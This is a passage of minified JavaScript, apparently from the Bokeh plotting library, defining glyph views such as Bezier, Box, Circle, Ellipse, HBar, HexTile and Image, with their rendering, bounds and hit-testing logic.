0;if(0===u?(_=6*t-12*i+6*r,c=-3*t+9*i-9*r+3*s,p=3*i-3*t):(_=6*e-12*n+6*o,c=-3*e+9*n-9*o+3*a,p=3*n-3*e),Math.abs(c)<1e-12){if(Math.abs(_)<1e-12)continue;var d=-p/_;0<d&&d<1&&l.push(d)}else{var f=_*_-4*p*c,v=Math.sqrt(f);if(!(f<0)){var m=(-_+v)/(2*c);0<m&&m<1&&l.push(m);var g=(-_-v)/(2*c);0<g&&g<1&&l.push(g)}}}for(var y=l.length,b=y;y--;){var d=l[y],x=1-d,w=x*x*x*t+3*x*x*d*i+3*x*d*d*r+d*d*d*s;h[0][y]=w;var k=x*x*x*e+3*x*x*d*n+3*x*d*d*o+d*d*d*a;h[1][y]=k}return h[0][b]=t,h[1][b]=e,h[0][b+1]=s,h[1][b+1]=a,[Math.min.apply(Math,h[0]),Math.max.apply(Math,h[1]),Math.max.apply(Math,h[0]),Math.min.apply(Math,h[1])]}var s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._x0.length;e<i;e++)if(!isNaN(this._x0[e]+this._x1[e]+this._y0[e]+this._y1[e]+this._cx0[e]+this._cy0[e]+this._cx1[e]+this._cy1[e])){var n=h(this._x0[e],this._y0[e],this._x1[e],this._y1[e],this._cx0[e],this._cy0[e],this._cx1[e],this._cy1[e]),r=n[0],o=n[1],s=n[2],a=n[3];t.push({minX:r,minY:o,maxX:s,maxY:a,i:e})}return new l.SpatialIndex(t)},e.prototype._render=function(t,e,i){var n=i.sx0,r=i.sy0,o=i.sx1,s=i.sy1,a=i.scx0,l=i.scy0,h=i.scx1,u=i.scy1;if(this.visuals.line.doit)for(var c=0,_=e;c<_.length;c++){var p=_[c];isNaN(n[p]+r[p]+o[p]+s[p]+a[p]+l[p]+h[p]+u[p])||(t.beginPath(),t.moveTo(n[p],r[p]),t.bezierCurveTo(a[p],l[p],h[p],u[p],o[p],s[p]),this.visuals.line.set_vectorize(t,p),t.stroke())}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e.prototype.scenterx=function(){throw new Error(\\\"not implemented\\\")},e.prototype.scentery=function(){throw new Error(\\\"not implemented\\\")},e}(r.GlyphView);i.BezierView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Bezier\\\",this.prototype.default_view=s,this.coords([[\\\"x0\\\",\\\"y0\\\"],[\\\"x1\\\",\\\"y1\\\"],[\\\"cx0\\\",\\\"cy0\\\"],[\\\"cx1\\\",\\\"cy1\\\"]]),this.mixins([\\\"line\\\"])},t}(r.Glyph);(i.Bezier=a).initClass()},function(t,e,i){var n=t(391),l=t(37),r=t(123),o=t(143),f=t(9),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_box=function(t){for(var e=[],i=0;i<t;i++){var n=this._lrtb(i),r=n[0],o=n[1],s=n[2],a=n[3];!isNaN(r+o+s+a)&&isFinite(r+o+s+a)&&e.push({minX:Math.min(r,o),minY:Math.min(s,a),maxX:Math.max(o,r),maxY:Math.max(s,a),i:i})}return new l.SpatialIndex(e)},e.prototype._render=function(t,e,i){for(var n=i.sleft,r=i.sright,o=i.stop,s=i.sbottom,a=0,l=e;a<l.length;a++){var h=l[a];isNaN(n[h]+o[h]+r[h]+s[h])||(this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,h),t.fillRect(n[h],o[h],r[h]-n[h],s[h]-o[h])),this.visuals.line.doit&&(t.beginPath(),t.rect(n[h],o[h],r[h]-n[h],s[h]-o[h]),this.visuals.line.set_vectorize(t,h),t.stroke()))}},e.prototype._clamp_viewport=function(){for(var t=this.renderer.plot_view.frame.bbox.h_range,e=this.renderer.plot_view.frame.bbox.v_range,i=this.stop.length,n=0;n<i;n++)this.stop[n]=Math.max(this.stop[n],e.start),this.sbottom[n]=Math.min(this.sbottom[n],e.end),this.sleft[n]=Math.max(this.sleft[n],t.start),this.sright[n]=Math.min(this.sright[n],t.end)},e.prototype._hit_rect=function(t){return this._hit_rect_against_index(t)},e.prototype._hit_point=function(t){var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=this.index.indices({minX:n,minY:r,maxX:n,maxY:r}),s=f.create_empty_hit_test_result();return s.indices=o,s},e.prototype._hit_span=function(t){var e,i=t.sx,n=t.sy;if(\\\"v\\\"==t.direction){var r=this.renderer.yscale.invert(n),o=this.renderer.plot_view.frame.bbox.h_range,s=this.renderer.xscale.r_invert(o.start,o.end),a=s[0],l=s[1];e=this.index.indices({minX:a,minY:r,maxX:l,maxY:r})}else{var h=this.renderer.xscale.invert(i),u=this.renderer.plot_view.frame.bbox.v_range,c=this.renderer.yscale.r_invert(u.start,u.end),_=c[0],p=c[1];e=this.index.indices({minX:h,minY:_,maxX:h,maxY:p})}var d=f.create_empty_hit_test_result();return d.indices=e,d},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e}(r.GlyphView);i.BoxView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Box\\\",this.mixins([\\\"line\\\",\\\"fill\\\"])},t}(r.Glyph);(i.Box=a).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.XYGlyphView);i.CenterRotatableView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CenterRotatable\\\",this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({angle:[o.AngleSpec,0],width:[o.DistanceSpec],height:[o.DistanceSpec]})},t}(r.XYGlyph);(i.CenterRotatable=a).initClass()},function(t,e,i){var n=t(391),r=t(146),M=t(9),o=t(15),h=t(21),s=t(22),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){if(null!=this._radius)if(\\\"data\\\"==this.model.properties.radius.spec.units){var t=this.model.properties.radius_dimension.spec.value;switch(t){case\\\"x\\\":this.sradius=this.sdist(this.renderer.xscale,this._x,this._radius);break;case\\\"y\\\":this.sradius=this.sdist(this.renderer.yscale,this._y,this._radius)}}else this.sradius=this._radius,this.max_size=2*this.max_radius;else this.sradius=s.map(this._size,function(t){return t/2})},e.prototype._mask_data=function(){var t,e,i,n,r,o,s,a,l=this.renderer.plot_view.frame.bbox.ranges,h=l[0],u=l[1];if(null!=this._radius&&\\\"data\\\"==this.model.properties.radius.units){var c=h.start,_=h.end;t=this.renderer.xscale.r_invert(c,_),r=t[0],s=t[1],r-=this.max_radius,s+=this.max_radius;var p=u.start,d=u.end;e=this.renderer.yscale.r_invert(p,d),o=e[0],a=e[1],o-=this.max_radius,a+=this.max_radius}else{var c=h.start-this.max_size,_=h.end+this.max_size;i=this.renderer.xscale.r_invert(c,_),r=i[0],s=i[1];var p=u.start-this.max_size,d=u.end+this.max_size;n=this.renderer.yscale.r_invert(p,d),o=n[0],a=n[1]}var f=M.validate_bbox_coords([r,s],[o,a]);return this.index.indices(f)},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i.sradius,s=0,a=e;s<a.length;s++){var l=a[s];isNaN(n[l]+r[l]+o[l])||(t.beginPath(),t.arc(n[l],r[l],o[l],0,2*Math.PI,!1),this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,l),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,l),t.stroke()))}},e.prototype._hit_point=function(t){var e,i,n,r,o,s,a,l,h,u,c,_,p,d,f,v,m=t.sx,g=t.sy,y=this.renderer.xscale.invert(m),b=this.renderer.yscale.invert(g);null!=this._radius&&\\\"data\\\"==this.model.properties.radius.units?(p=y-this.max_radius,d=y+this.max_radius,f=b-this.max_radius,v=b+this.max_radius):(h=m-this.max_size,u=m+this.max_size,e=this.renderer.xscale.r_invert(h,u),p=e[0],d=e[1],i=[Math.min(p,d),Math.max(p,d)],p=i[0],d=i[1],c=g-this.max_size,_=g+this.max_size,n=this.renderer.yscale.r_invert(c,_),f=n[0],v=n[1],r=[Math.min(f,v),Math.max(f,v)],f=r[0],v=r[1]);var x=M.validate_bbox_coords([p,d],[f,v]),w=this.index.indices(x),k=[];if(null!=this._radius&&\\\"data\\\"==this.model.properties.radius.units)for(var S=0,C=w;S<C.length;S++){var T=C[S];l=Math.pow(this.sradius[T],2),o=this.renderer.xscale.r_compute(y,this._x[T]),h=o[0],u=o[1],s=this.renderer.yscale.r_compute(b,this._y[T]),c=s[0],_=s[1],(a=Math.pow(h-u,2)+Math.pow(c-_,2))<=l&&k.push([T,a])}else for(var A=0,E=w;A<E.length;A++){var T=E[A];l=Math.pow(this.sradius[T],2),(a=Math.pow(this.sx[T]-m,2)+Math.pow(this.sy[T]-g,2))<=l&&k.push([T,a])}return M.create_hit_test_result_from_hits(k)},e.prototype._hit_span=function(t){var e,i,n,r,o,s,a,l,h,u=t.sx,c=t.sy,_=this.bounds(),p=_.minX,d=_.minY,f=_.maxX,v=_.maxY,m=M.create_empty_hit_test_result();if(\\\"h\\\"==t.direction){var g=void 0,y=void 0;l=d,h=v,null!=this._radius&&\\\"data\\\"==this.model.properties.radius.units?(g=u-this.max_radius,y=u+this.max_radius,e=this.renderer.xscale.r_invert(g,y),s=e[0],a=e[1]):(o=this.max_size/2,g=u-o,y=u+o,i=this.renderer.xscale.r_invert(g,y),s=i[0],a=i[1])}else{var b=void 0,x=void 0;s=p,a=f,null!=this._radius&&\\\"data\\\"==this.model.properties.radius.units?(b=c-this.max_radius,x=c+this.max_radius,n=this.renderer.yscale.r_invert(b,x),l=n[0],h=n[1]):(o=this.max_size/2,b=c-o,x=c+o,r=this.renderer.yscale.r_invert(b,x),l=r[0],h=r[1])}var w=M.validate_bbox_coords([s,a],[l,h]),k=this.index.indices(w);return m.indices=k,m},e.prototype._hit_rect=function(t){var e=t.sx0,i=t.sx1,n=t.sy0,r=t.sy1,o=this.renderer.xscale.r_invert(e,i),s=o[0],a=o[1],l=this.renderer.yscale.r_invert(n,r),h=l[0],u=l[1],c=M.validate_bbox_coords([s,a],[h,u]),_=M.create_empty_hit_test_result();return _.indices=this.index.indices(c),_},e.prototype._hit_poly=function(t){for(var e=t.sx,i=t.sy,n=h.range(0,this.sx.length),r=[],o=0,s=n.length;o<s;o++){var a=n[o];M.point_in_poly(this.sx[o],this.sy[o],e,i)&&r.push(a)}var l=M.create_empty_hit_test_result();return l.indices=r,l},e.prototype.draw_legend_for_index=function(t,e,i){var n=e.x0,r=e.y0,o=e.x1,s=e.y1,a=i+1,l=new Array(a);l[i]=(n+o)/2;var h=new Array(a);h[i]=(r+s)/2;var u=new Array(a);u[i]=.2*Math.min(Math.abs(o-n),Math.abs(s-r)),this._render(t,[i],{sx:l,sy:h,sradius:u})},e}(r.XYGlyphView);i.CircleView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Circle\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({angle:[o.AngleSpec,0],size:[o.DistanceSpec,{units:\\\"screen\\\",value:4}],radius:[o.DistanceSpec,null],radius_dimension:[o.String,\\\"x\\\"]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.properties.radius.optional=!0},t}(r.XYGlyph);(i.Circle=l).initClass()},function(t,e,i){var n=t(391),r=t(122),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.EllipseOvalView);i.EllipseView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Ellipse\\\",this.prototype.default_view=o},t}(r.EllipseOval);(i.Ellipse=s).initClass()},function(t,e,i){var n=t(391),r=t(119),S=t(9),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._set_data=function(){this.max_w2=0,\\\"data\\\"==this.model.properties.width.units&&(this.max_w2=this.max_width/2),this.max_h2=0,\\\"data\\\"==this.model.properties.height.units&&(this.max_h2=this.max_height/2)},e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.width.units?this.sw=this.sdist(this.renderer.xscale,this._x,this._width,\\\"center\\\"):this.sw=this._width,\\\"data\\\"==this.model.properties.height.units?this.sh=this.sdist(this.renderer.yscale,this._y,this._height,\\\"center\\\"):this.sh=this._height},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i.sw,s=i.sh,a=i._angle,l=0,h=e;l<h.length;l++){var u=h[l];isNaN(n[u]+r[u]+o[u]+s[u]+a[u])||(t.beginPath(),t.ellipse(n[u],r[u],o[u]/2,s[u]/2,a[u],0,2*Math.PI),this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,u),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,u),t.stroke()))}},e.prototype._hit_point=function(t){var e,i,n,r,o,s,a,l,h,u,c,_,p,d=t.sx,f=t.sy,v=this.renderer.xscale.invert(d),m=this.renderer.yscale.invert(f);\\\"data\\\"==this.model.properties.width.units?(o=v-this.max_width,s=v+this.max_width):(u=d-this.max_width,c=d+this.max_width,e=this.renderer.xscale.r_invert(u,c),o=e[0],s=e[1]),\\\"data\\\"==this.model.properties.height.units?(a=m-this.max_height,l=m+this.max_height):(_=f-this.max_height,p=f+this.max_height,i=this.renderer.yscale.r_invert(_,p),a=i[0],l=i[1]);for(var g=S.validate_bbox_coords([o,s],[a,l]),y=this.index.indices(g),b=[],x=0,w=y;x<w.length;x++){var k=w[x];S.point_in_ellipse(d,f,this._angle[k],this.sh[k]/2,this.sw[k]/2,this.sx[k],this.sy[k])&&(n=this.renderer.xscale.r_compute(v,this._x[k]),u=n[0],c=n[1],r=this.renderer.yscale.r_compute(m,this._y[k]),_=r[0],p=r[1],h=Math.pow(u-c,2)+Math.pow(_-p,2),b.push([k,h]))}return S.create_hit_test_result_from_hits(b)},e.prototype.draw_legend_for_index=function(t,e,i){var n=e.x0,r=e.y0,o=e.x1,s=e.y1,a=i+1,l=new Array(a);l[i]=(n+o)/2;var h=new Array(a);h[i]=(r+s)/2;var u=this.sw[i]/this.sh[i],c=.8*Math.min(Math.abs(o-n),Math.abs(s-r)),_=new Array(a),p=new Array(a);1<u?(_[i]=c,p[i]=c/u):(_[i]=c*u,p[i]=c),this._render(t,[i],{sx:l,sy:h,sw:_,sh:p,_angle:[0]})},e.prototype._bounds=function(t){var e=t.minX,i=t.maxX,n=t.minY,r=t.maxY;return{minX:e-this.max_w2,maxX:i+this.max_w2,minY:n-this.max_h2,maxY:r+this.max_h2}},e}(r.CenterRotatableView);i.EllipseOvalView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"EllipseOval\\\"},t}(r.CenterRotatable);(i.EllipseOval=s).initClass()},function(o,t,e){var i=o(391),p=o(9),l=o(15),h=o(24),y=o(33),s=o(49),n=o(48),r=o(59),a=o(14),b=o(22),x=o(32),d=o(44),w=o(130),k=o(181),u=function(r){function t(){var t=null!==r&&r.apply(this,arguments)||this;return t._nohit_warned={},t}return i.__extends(t,r),t.prototype.initialize=function(t){r.prototype.initialize.call(this,t),this._nohit_warned={},this.renderer=t.renderer,this.visuals=new s.Visuals(this.model);var e=this.renderer.plot_view.gl;if(null!=e){var i=null;try{i=o(452)}catch(t){if(\\\"MODULE_NOT_FOUND\\\"!==t.code)throw t;a.logger.warn(\\\"WebGL was requested and is supported, but bokeh-gl(.min).js is not available, falling back to 2D rendering.\\\")}if(null!=i){var n=i[this.model.type+\\\"GLGlyph\\\"];null!=n&&(this.glglyph=new n(e.ctx,this))}}},t.prototype.set_visuals=function(t){this.visuals.warm_cache(t),null!=this.glglyph&&this.glglyph.set_visuals_changed()},t.prototype.render=function(t,e,i){t.beginPath(),null!=this.glglyph&&this.glglyph.render(t,e,i)||this._render(t,e,i)},t.prototype.has_finished=function(){return!0},t.prototype.notify_finished=function(){this.renderer.notify_finished()},t.prototype._bounds=function(t){return t},t.prototype.bounds=function(){return this._bounds(this.index.bbox)},t.prototype.log_bounds=function(){for(var t=h.empty(),e=this.index.search(h.positive_x()),i=0,n=e;i<n.length;i++){var r=n[i];r.minX<t.minX&&(t.minX=r.minX),r.maxX>t.maxX&&(t.maxX=r.maxX)}for(var o=this.index.search(h.positive_y()),s=0,a=o;s<a.length;s++){var l=a[s];l.minY<t.minY&&(t.minY=l.minY),l.maxY>t.maxY&&(t.maxY=l.maxY)}return this._bounds(t)},t.prototype.get_anchor_point=function(t,e,i){var n=i[0],r=i[1];switch(t){case\\\"center\\\":return{x:this.scenterx(e,n,r),y:this.scentery(e,n,r)};default:return null}},t.prototype.sdist=function(t,e,i,n,r){var o,s;void 0===n&&(n=\\\"edge\\\"),void 0===r&&(r=!1);var a=e.length;if(\\\"center\\\"==n){var l=b.map(i,function(t){return t/2});o=new Float64Array(a);for(var h=0;h<a;h++)o[h]=e[h]-l[h];s=new Float64Array(a);for(var h=0;h<a;h++)s[h]=e[h]+l[h]}else{o=e,s=new Float64Array(a);for(var h=0;h<a;h++)s[h]=o[h]+i[h]}var u=t.v_compute(o),c=t.v_compute(s);return r?b.map(u,function(t,e){return Math.ceil(Math.abs(c[e]-u[e]))}):b.map(u,function(t,e){return Math.abs(c[e]-u[e])})},t.prototype.draw_legend_for_index=function(t,e,i){},t.prototype.hit_test=function(t){var e=null,i=\\\"_hit_\\\"+t.type;return null!=this[i]?e=this[i](t):null==this._nohit_warned[t.type]&&(a.logger.debug(\\\"'\\\"+t.type+\\\"' selection not available for \\\"+this.model.type),this._nohit_warned[t.type]=!0),e},t.prototype._hit_rect_against_index=function(t){var e=t.sx0,i=t.sx1,n=t.sy0,r=t.sy1,o=this.renderer.xscale.r_invert(e,i),s=o[0],a=o[1],l=this.renderer.yscale.r_invert(n,r),h=l[0],u=l[1],c=p.validate_bbox_coords([s,a],[h,u]),_=p.create_empty_hit_test_result();return _.indices=this.index.indices(c),_},t.prototype.set_data=function(t,i,e){var n,r,o,s,a=this.model.materialize_dataspecs(t);if(this.visuals.set_all_indices(i),i&&!(this instanceof w.LineView)){var l={},h=function(t){var e=a[t];\\\"_\\\"===t.charAt(0)?l[t]=i.map(function(t){return e[t]}):l[t]=e};for(var u in a)h(u);a=l}var c=this;if(x.extend(c,a),this.renderer.plot_view.model.use_map&&(null!=c._x&&(n=y.project_xy(c._x,c._y),c._x=n[0],c._y=n[1]),null!=c._xs&&(r=y.project_xsys(c._xs,c._ys),c._xs=r[0],c._ys=r[1]),null!=c._x0&&(o=y.project_xy(c._x0,c._y0),c._x0=o[0],c._y0=o[1]),null!=c._x1&&(s=y.project_xy(c._x1,c._y1),c._x1=s[0],c._y1=s[1])),null!=this.renderer.plot_view.frame.x_ranges)for(var _=this.renderer.plot_view.frame.x_ranges[this.model.x_range_name],p=this.renderer.plot_view.frame.y_ranges[this.model.y_range_name],d=0,f=this.model._coords;d<f.length;d++){var v=f[d],m=v[0],g=v[1];m=\\\"_\\\"+m,g=\\\"_\\\"+g,null!=c._xs?(_ instanceof k.FactorRange&&(c[m]=b.map(c[m],function(t){return _.v_synthetic(t)})),p instanceof k.FactorRange&&(c[g]=b.map(c[g],function(t){return p.v_synthetic(t)}))):(_ instanceof k.FactorRange&&(c[m]=_.v_synthetic(c[m])),p instanceof k.FactorRange&&(c[g]=p.v_synthetic(c[g])))}null!=this.glglyph&&this.glglyph.set_data_changed(c._x.length),this._set_data(e),this.index_data()},t.prototype._set_data=function(t){},t.prototype.index_data=function(){this.index=this._index_data()},t.prototype.mask_data=function(t){return null!=this.glglyph||null==this._mask_data?t:this._mask_data()},t.prototype.map_data=function(){for(var t,e=this,i=0,n=this.model._coords;i<n.length;i++){var r=n[i],o=r[0],s=r[1],a=\\\"s\\\"+o,l=\\\"s\\\"+s;if(s=\\\"_\\\"+s,null!=e[o=\\\"_\\\"+o]&&(d.isArray(e[o][0])||d.isTypedArray(e[o][0]))){var h=e[o].length;e[a]=new Array(h),e[l]=new Array(h);for(var u=0;u<h;u++){var c=this.map_to_screen(e[o][u],e[s][u]),_=c[0],p=c[1];e[a][u]=_,e[l][u]=p}}else t=this.map_to_screen(e[o],e[s]),e[a]=t[0],e[l]=t[1]}this._map_data()},t.prototype._map_data=function(){},t.prototype.map_to_screen=function(t,e){return this.renderer.plot_view.map_to_screen(t,e,this.model.x_range_name,this.model.y_range_name)},t}(n.View);e.GlyphView=u;var c=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Glyph\\\",this.prototype._coords=[],this.internal({x_range_name:[l.String,\\\"default\\\"],y_range_name:[l.String,\\\"default\\\"]})},t.coords=function(t){var e=this.prototype._coords.concat(t);this.prototype._coords=e;for(var i={},n=0,r=t;n<r.length;n++){var o=r[n],s=o[0],a=o[1];i[s]=[l.NumberSpec],i[a]=[l.NumberSpec]}this.define(i)},t}(r.Model);(e.Glyph=c).initClass()},function(t,e,i){var n=t(391),r=t(118),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.scenterx=function(t){return(this.sleft[t]+this.sright[t])/2},e.prototype.scentery=function(t){return this.sy[t]},e.prototype._index_data=function(){return this._index_box(this._y.length)},e.prototype._lrtb=function(t){var e=Math.min(this._left[t],this._right[t]),i=Math.max(this._left[t],this._right[t]),n=this._y[t]+.5*this._height[t],r=this._y[t]-.5*this._height[t];return[e,i,n,r]},e.prototype._map_data=function(){this.sy=this.renderer.yscale.v_compute(this._y),this.sh=this.sdist(this.renderer.yscale,this._y,this._height,\\\"center\\\"),this.sleft=this.renderer.xscale.v_compute(this._left),this.sright=this.renderer.xscale.v_compute(this._right);var t=this.sy.length;this.stop=new Float64Array(t),this.sbottom=new Float64Array(t);for(var e=0;e<t;e++)this.stop[e]=this.sy[e]-this.sh[e]/2,this.sbottom[e]=this.sy[e]+this.sh[e]/2;this._clamp_viewport()},e}(r.BoxView);i.HBarView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"HBar\\\",this.prototype.default_view=s,this.coords([[\\\"left\\\",\\\"y\\\"]]),this.define({height:[o.DistanceSpec],right:[o.NumberSpec]}),this.override({left:0})},t}(r.Box);(i.HBar=a).initClass()},function(t,e,i){var n=t(391),r=t(123),f=t(9),o=t(15),a=t(37),s=t(143),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.scenterx=function(t){return this.sx[t]},e.prototype.scentery=function(t){return this.sy[t]},e.prototype._set_data=function(){var t=this._q.length,e=this.model.size,i=this.model.aspect_scale;if(this._x=new Float64Array(t),this._y=new Float64Array(t),\\\"pointytop\\\"==this.model.orientation)for(var n=0;n<t;n++)this._x[n]=e*Math.sqrt(3)*(this._q[n]+this._r[n]/2)/i,this._y[n]=3*-e/2*this._r[n];else for(var n=0;n<t;n++)this._x[n]=3*e/2*this._q[n],this._y[n]=-e*Math.sqrt(3)*(this._r[n]+this._q[n]/2)*i},e.prototype._index_data=function(){var t,e=this.model.size,i=Math.sqrt(3)*e/2;\\\"flattop\\\"==this.model.orientation?(i=(t=[e,i])[0],e=t[1],e*=this.model.aspect_scale):i/=this.model.aspect_scale;for(var n=[],r=0;r<this._x.length;r++){var o=this._x[r],s=this._y[r];!isNaN(o+s)&&isFinite(o+s)&&n.push({minX:o-i,minY:s-e,maxX:o+i,maxY:s+e,i:r})}return new a.SpatialIndex(n)},e.prototype.map_data=function(){var t,e;t=this.map_to_screen(this._x,this._y),this.sx=t[0],this.sy=t[1],e=this._get_unscaled_vertices(),this.svx=e[0],this.svy=e[1]},e.prototype._get_unscaled_vertices=function(){var t=this.model.size,e=this.model.aspect_scale;if(\\\"pointytop\\\"==this.model.orientation){var i=this.renderer.yscale,n=this.renderer.xscale,r=Math.abs(i.compute(0)-i.compute(t)),o=Math.sqrt(3)/2*Math.abs(n.compute(0)-n.compute(t))/e,s=r/2,a=[0,-o,-o,0,o,o],l=[r,s,-s,-r,-s,s];return[a,l]}var i=this.renderer.xscale,n=this.renderer.yscale,r=Math.abs(i.compute(0)-i.compute(t)),o=Math.sqrt(3)/2*Math.abs(n.compute(0)-n.compute(t))*e,s=r/2,a=[r,s,-s,-r,-s,s],l=[0,-o,-o,0,o,o];return[a,l]},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i.svx,s=i.svy,a=i._scale,l=0,h=e;l<h.length;l++){var u=h[l];if(!isNaN(n[u]+r[u]+a[u])){t.translate(n[u],r[u]),t.beginPath();for(var c=0;c<6;c++)t.lineTo(o[c]*a[u],s[c]*a[u]);t.closePath(),t.translate(-n[u],-r[u]),this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,u),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,u),t.stroke())}}},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=this.index.indices({minX:n,minY:r,maxX:n,maxY:r}),s=[],a=0,l=o;a<l.length;a++){var h=l[a];f.point_in_poly(e-this.sx[h],i-this.sy[h],this.svx,this.svy)&&s.push(h)}var u=f.create_empty_hit_test_result();return u.indices=s,u},e.prototype._hit_span=function(t){var e,i=t.sx,n=t.sy;if(\\\"v\\\"==t.direction){var r=this.renderer.yscale.invert(n),o=this.renderer.plot_view.frame.bbox.h_range,s=this.renderer.xscale.r_invert(o.start,o.end),a=s[0],l=s[1];e=this.index.indices({minX:a,minY:r,maxX:l,maxY:r})}else{var h=this.renderer.xscale.invert(i),u=this.renderer.plot_view.frame.bbox.v_range,c=this.renderer.yscale.r_invert(u.start,u.end),_=c[0],p=c[1];e=this.index.indices({minX:h,minY:_,maxX:h,maxY:p})}var d=f.create_empty_hit_test_result();return d.indices=e,d},e.prototype._hit_rect=function(t){var e=t.sx0,i=t.sx1,n=t.sy0,r=t.sy1,o=this.renderer.xscale.r_invert(e,i),s=o[0],a=o[1],l=this.renderer.yscale.r_invert(n,r),h=l[0],u=l[1],c=f.validate_bbox_coords([s,a],[h,u]),_=f.create_empty_hit_test_result();return _.indices=this.index.indices(c),_},e.prototype.draw_legend_for_index=function(t,e,i){s.generic_area_legend(this.visuals,t,e,i)},e}(r.GlyphView);i.HexTileView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"HexTile\\\",this.prototype.default_view=l,this.coords([[\\\"r\\\",\\\"q\\\"]]),this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({size:[o.Number,1],aspect_scale:[o.Number,1],scale:[o.NumberSpec,1],orientation:[o.String,\\\"pointytop\\\"]}),this.override({line_color:null})},t}(r.Glyph);(i.HexTile=h).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(167),s=t(15),c=t(21),l=t(37),_=t(9),a=function(i){function t(){return null!==i&&i.apply(this,arguments)||this}return n.__extends(t,i),t.prototype.initialize=function(t){var e=this;i.prototype.initialize.call(this,t),this.connect(this.model.color_mapper.change,function(){return e._update_image()}),this.connect(this.model.properties.global_alpha.change,function(){return e.renderer.request_render()})},t.prototype._update_image=function(){null!=this.image_data&&(this._set_data(),this.renderer.plot_view.request_render())},t.prototype._index_data=function(){for(var t=[],e=0,i=this._x.length;e<i;e++){var n=this._lrtb(e),r=n[0],o=n[1],s=n[2],a=n[3];!isNaN(r+o+s+a)&&isFinite(r+o+s+a)&&t.push({minX:r,minY:a,maxX:o,maxY:s,i:e})}return new l.SpatialIndex(t)},t.prototype._lrtb=function(t){var e=this.renderer.xscale.source_range,i=this._x[t],n=e.is_reversed?i-this._dw[t]:i+this._dw[t],r=this.renderer.yscale.source_range,o=this._y[t],s=r.is_reversed?o-this._dh[t]:o+this._dh[t],a=i<n?[i,n]:[n,i],l=a[0],h=a[1],u=o<s?[o,s]:[s,o],c=u[0],_=u[1];return[l,h,_,c]},t.prototype._image_index=function(t,e,i){var n=this._lrtb(t),r=n[0],o=n[1],s=n[2],a=n[3],l=this._width[t],h=this._height[t],u=(o-r)/l,c=(s-a)/h,_=Math.floor((e-r)/u),p=Math.floor((i-a)/c);return{index:t,dim1:_,dim2:p,flat_index:p*l+_}},t.prototype._hit_point=function(t){var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=_.validate_bbox_coords([n,n],[r,r]),s=this.index.indices(o),a=_.create_empty_hit_test_result();a.image_indices=[];for(var l=0,h=s;l<h.length;l++){var u=h[l];e!=1/0&&i!=1/0&&a.image_indices.push(this._image_index(u,n,r))}return a},t.prototype._set_data=function(){null!=this.image_data&&this.image_data.length==this._image.length||(this.image_data=new Array(this._image.length)),null!=this._width&&this._width.length==this._image.length||(this._width=new Array(this._image.length)),null!=this._height&&this._height.length==this._image.length||(this._height=new Array(this._image.length));for(var t=this.model.color_mapper.rgba_mapper,e=0,i=this._image.length;e<i;e++){var n=void 0;if(null!=this._image_shape&&0<this._image_shape[e].length){n=this._image[e];var r=this._image_shape[e];this._height[e]=r[0],this._width[e]=r[1]}else{var o=this._image[e];n=c.concat(o),this._height[e]=o.length,this._width[e]=o[0].length}var s=this.image_data[e],a=void 0;null!=s&&s.width==this._width[e]&&s.height==this._height[e]?a=s:((a=document.createElement(\\\"canvas\\\")).width=this._width[e],a.height=this._height[e]);var 